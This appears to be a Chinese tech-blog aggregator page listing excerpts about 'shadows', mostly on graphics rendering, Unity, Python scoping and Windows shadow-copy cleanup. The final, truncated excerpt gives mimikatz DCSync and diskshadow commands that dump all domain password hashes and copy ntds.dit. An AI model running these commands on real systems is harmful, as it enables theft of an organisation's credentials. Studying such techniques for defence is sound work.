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Four Shadows 基于计时器的,算法驱动的图标阴影控件。Four Shadows 使你可以在图标或其他元素加入time-aware 阴影。早上 9 0’clock 绝对不会出现 5 o’clock 方向的阴影。

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2018/12/20 15:13

shadows

http://blog.51cto.com/11975865/2308030 https://www.jianshu.com/p/247cdbabf389 https://baijiahao.baidu.com/s?id=1617176098301027885&wfr=spider&for=pc http://blog.chinaunix.net/uid-29792372-id-5767174.html https://blog.csdn.net/y87329396/article/details/48264731 https://www.nb-fk.com/1032.html https://blog.csdn.net/Dyminas/article/details/80729574 sudo ocserv -c /etc/ocserv/ocserv.conf -f -d 1 no...

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发表于大前端专区
2020/01/11 23:10

入门Distance Field Soft Shadows

阅读须知: ray marching:https://en.wikipedia.org/wiki/Volume_ray_casting 阴影对场景的真实感具有非常重要的作用, 是渲染中不得不提的话题。基于shadow map的方法在本专栏的实时阴影技术总结中已有大量介绍。许多引擎中会使用CSM,有些引擎还会有Distance Field Soft Shadows。本文就简单聊聊基于有向距离场的软阴影。 Signed Distance Field(有向距离场) ok,进入正题。首先什么是signed distance field的概念?这其实是...

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2019/06/14 18:04

shadows name ‘xxxx’ from outer scope

当def内赋值模块变量时,报: shadows name ‘xxxx’ from outer scope 此时需要在def内通过global声明引用模块变量 例如 level = 0 def test():     global level     level += 1 python的变量作用域: 模块对应global, 最内层为local, 外层为nonlocal 变量查找顺序:内层作用域->外层->全局->builtin 只有class、def和lamda会改变作用域...

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2015/02/01 14:08

Android L5.0 ViewOutlineProvider与Shadows

http://doc.okbase.net/a396901990/archive/107839.html http://www.tuicool.com/articles/3IziIba http://www.imooc.com/learn/215 ANDROID L - Material Design详解(视图和阴影) 图像裁剪 着色 点击坐标 android 5.0 L其他新特性,对SVG的支持,支持Vector,ripple drawable,支持verctor-animation,支持drawable 使用动画...

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2020/12/24 18:04

Unity通用渲染管线(URP)系列(十)——点光和聚光灯阴影(Perspective Shadows)

目录 · 1 聚光灯阴影 · 1.1 阴影混合 · 1.2 其他实时阴影 · 1.3 两个图集 · 1.4 渲染聚光灯阴影 · 1.5 没有Pancaking · 1.6 采样聚光灯阴影 · 1.7 法线偏差 · 1.8 钳位采样 · 2 点光源阴影 · 2.1 一个灯光6个Tile · 2.2 渲染点光源阴影 · 2.3 采样点光源阴影 · 2.4 画正确的表面 · 2.5 视场偏差 本文重点内容: 1、混合点光和聚光灯的烘焙和实时光阴影 2、添加第二个阴影图集 3、使用透视投影渲染和采集阴影 4、...

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2019/04/20 20:32

Unity 阴影的制作方式

Unity阴影制作的三种方式。 方式一:Light中Shadow Type的类型 包括Hard Shadows、Soft Shadows、No Shadows; Mesh Renderer中的属性 Cast Shadows、Receive Shadows。 方式二:投影器制作阴影 这种方式是Unity自带的,Assets--->Import Package--->Effects,接着我们选中Standard Assets--->Effects--->Projectors--->Prefabs--->BlobShadowProjector, 将其拖拽到游戏对象的子对象上,当中有两个重要的参数Near Clip Plane、...

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发表于大前端专区
2016/08/11 09:47

Unity解决花屏的方法

一、可以烘培光照贴图解决问题(LightingMap) 二、可以在Edit-->Project Settings -->QualitySettings-->Shadows中,把第一项的Shadows改成Disable Shadows,把第六项的Shadow Cascades改成No Cascades

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2019/08/25 15:22

Rendering in UE4

Intro Thinking performance. Identify the target framerate, aim your approach on hitting that target framerate. Everything needs to be as efficient as possible Adjust pipelines to engine and hardware restrictions Try to offload parts to pre-calculations Use the engine’s pool of techniques to achieve quality at suitable cost What is rendering? CPU and GPU handle different parts of the rendering...

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2019/01/30 23:06

Windows-删除Windows Server backup卷影副本

现有环境中有一台Windows Server做过定期备份计划,时间太久未做清理操作,收到磁盘报警邮件后需要及时释放该空间,具体操作步骤如下: 当前备份计划信息如下: 清理步骤如下: 1.以管理身份运行CMD或者Powershell: 2.在命令行模式下输入:diskshadow 进入diskshadow 模式 DiskShadow.exe是一种公开卷影复制服务(VSS)提供的功能的工具。默认情况下,DiskShadow使用类似于DiskRAID或DiskPart的交互式命令解释器。DiskShadow还包...

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2019/07/25 11:16

windows域控导出hash

#mimikaz导入域内所有hash mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit" #利用diskshadow 之前需要先切换到 system32 目录下 diskshadow.exe set context persistent nowriters add volume c: alias stack create expose %stack% z: DISKSHADOW> exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\windows\temp\ntds.dit delete shadows all list shadows all reset DISKSHADOW> ex...

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